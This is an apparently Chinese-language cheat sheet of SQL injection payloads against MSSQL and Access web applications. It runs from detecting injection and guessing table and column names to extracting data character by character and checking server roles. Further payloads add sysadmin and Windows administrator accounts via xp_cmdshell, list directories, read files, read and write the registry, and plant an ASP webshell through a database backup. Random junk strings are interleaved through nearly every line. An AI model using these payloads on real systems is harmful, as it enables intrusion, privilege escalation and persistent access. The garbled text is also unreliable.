1.判断是否有注入;and 1=1 ;and 1=2 'P@=/
2.初步判断是否是mssql ;and user>0 Tjd&^m
E0sbU<11
3.注入参数是字符'and [查询条件] and ''=' #@nZ4=/z
7^kH8qJ)
4.搜索时没过滤参数的'and [查询条件] and '%25'=' z7'n, [
sl~b\j
5.判断数据库系统 $se !8s"
06PhrPVa!\
;and (select count(*) from sysobjects)>0 mssql '4af
],
k)$iK2I
;and (select count(*) from msysobjects)>0 access %3]3r*e&5
aj&\CJ
\1=T
sU&^
D"`%|`O
6.猜数据库 ;and (select Count(*) from [数据库名])>0 UqD5
A~w
'9^E8+=|
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Hm.X}HO0L
dj?G.-
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
bZxv/\
b2a'KczV
9.(1)猜字段的ascii值(access)
]a78tTi
V^j3y`K
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 y' 2<qj
t@X M /=d
(2)猜字段的ascii值(mssql)
DY$yiOH9
=fY lzZh
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 V78Mq:7d
.?A'6
10.测试权限结构(mssql) !?yxh/>lM
DG_}9M!DW@
kJ/+IGV^v
J09*v)L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- C#Y,r)l
S*;#'j)4+
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )8:n}w
oz Vpfs
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- k"t>He
ZmNZS0j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $Xf~# uH
7^HpVcSM
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Z&TD+fT<
sc<kiL
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- STv(kQs
r~I.F!{
;and 1=(select IS_MEMBER('db_owner'));-- FSv1X
#U\$@4D
:g&>D#{
6s'[{Ov
11.添加mssql和系统的帐户 SF0Jb"kS
}Bd_:#.mw
;exec master.dbo.sp_addlogin username;-- Lg8]dBXu
;exec master.dbo.sp_password null,username,password;-- ;.\g-`jb
:#qUMiu$
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- -P2 @mx%
q{/*n]K
;exec master.dbo.xp_cmdshell 'net user username password bH_I7G&m
g/x_m.
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- "X`Qe!zk4
rYbCOazr
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ) 9xX
Xp#~N_S$
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- {JTmP `&l
>;m{{nj
_'&k#Q
O!/ekU|,r
12.(1)遍历目录 @#A!w;bz
TWtC-wI;
;create table dirs(paths varchar(100), id int) m.!wsw
kw3+>{\
;insert dirs exec master.dbo.xp_dirtree 'c:\' (p^S~Ax
Trpgx
;and (select top 1 paths from dirs)>0 k2pT1QZnt
3<+z46`?
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) f7ZA837Un
]/a
g*F
'bl%Y).9w
/Ad6+cY
(2)遍历目录 2g0K76=Co:
NfOp=X?Y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (N7O+3+G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .3( ;9};
$ND90my
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 (NPxab8e*
}Iip+URG
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7pz\ScSe
(V8?,G >
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9?$RO[vo
'P,,<nkr|
*N`;I@Q"[
72u db^
13.mssql中的存储过程 bK?MT]%}r
xvdY
8%S
xp_regenumvalues 注册表根键, 子键 zs0hXxTY:
ZRPE-l_3:
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 (m/aV
0lBat_<8
xp_regread 根键,子键,键值名 d[S#Duz<&
? -CV
%l
;exec xp_regread YroNpu]s
s+'XQs^{aj
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 [1Uz_HY["3
xb]odYGdW
xp_regwrite 根键,子键, 值名, 值类型, 值 fy`+Efuj
h mds(lv7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 z|Ap\[GS
LZ4xfB(
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \1]rlzXGUT
4QO/ff[ o
xp_regdeletevalue 根键,子键,值名 SD^E7W$?
JCNk\@0i*
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 }I]W'<jY
/z#F,NB
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 x^X$M$o,l
jFG5)t<D
!VFem~'d
Y<aO
14.mssql的backup创建webshell |_, /u_
HS7_MGU
use model ]Z/R!y?l"G
]x@~-I )
create table cmd(str image); nc&Jmo7
+YuzpuxjJ
insert into cmd(str) values (''); 7OE[RX8!f
F3Dt7q
backup database model to disk='c:\l.asp'; ogJ<e_m
9qre|AA
26 ?23J
;
^aHh{BQ%
15.mssql内置函数 Wy.";/C
I-bF{
;and (select @@version)>0 获得Windows的版本号 !LiQ 1`V{
rH.gF43O:
;and user_name()='dbo' 判断当前系统的连接用户是不是sa n]v7V&mj\
{-h, ZdH^
;and (select user_name())>0 爆当前系统的连接用户 +9C;<f
ED/FlL{
;and (select db_name())>0 得到当前连接的数据库 8 URj1 W
'W(xgOP1
x9~[HuJ
;_N"Fdl
16.简洁的webshell hlC%HA
[@|be.g
use model a,cC!
p[-{]!
create table cmd(str image); # 66e@
m8HYWzN
insert into cmd(str) values (''); M~p=#V1D
)
$#(ZL^m
backup database model to disk='g:\wwwtest\l.asp';